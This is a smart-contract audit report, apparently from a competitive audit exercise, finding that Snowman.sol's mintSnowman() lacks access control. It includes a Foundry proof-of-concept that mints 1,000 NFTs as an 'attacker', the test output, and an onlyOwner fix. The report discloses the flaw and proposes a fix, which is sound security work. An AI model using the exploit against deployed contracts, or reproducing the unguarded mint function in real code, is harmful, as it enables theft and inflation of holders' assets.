Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman.sol Allows Unlimited NFT Minting Without Access Control

Root + Impact

Description:

  • The Snowman NFT contract is intended to distribute NFTs via a restricted airdrop process, where minting should only be performed by approved parties for qualified recipients.

  • However, the mintSnowman() function has no access restrictions, enabling any external account to invoke it and freely mint an unlimited number of NFTs to any address, effectively bypassing the contract’s intended airdrop controls.

// Root cause in the codebase
function mintSnowman(address receiver, uint256 amount) external {
@> // NO ACCESS CONTROL - Any address can call this function
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
@> // NO VALIDATION - No checks on amount

Risk

Likelihood:

* The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions
* Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable

Impact:

  • Unrestricted minting leads to full erosion of the token’s economic design, as infinite supply inflation destroys the value of all legitimately issued NFTs.

  • The airdrop system is entirely broken, enabling malicious actors to mass-mint tokens at scale and severely damage the project’s trust, credibility, and underlying economic structure.

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
contract SnowmanExploitPoC is Test {
Snowman public snowman;
address public attacker = makeAddr("attacker");
string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+";
function setUp() public {
snowman = new Snowman(SVG_URI);
}
function testExploit_UnrestrictedMinting() public {
console2.log("Initial token counter:", snowman.getTokenCounter());
console2.log("Attacker balance before:", snowman.balanceOf(attacker));
// EXPLOIT: Anyone can mint unlimited NFTs
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs
console2.log("Final token counter:", snowman.getTokenCounter());
console2.log("Attacker balance after:", snowman.balanceOf(attacker));
// Verify exploit success
assertEq(snowman.balanceOf(attacker), 1000);
assertEq(snowman.getTokenCounter(), 1000);
console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization");
}
}

Recommended Mitigation:

Adding the onlyOwner modifier restricts the mintSnowman() function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs.

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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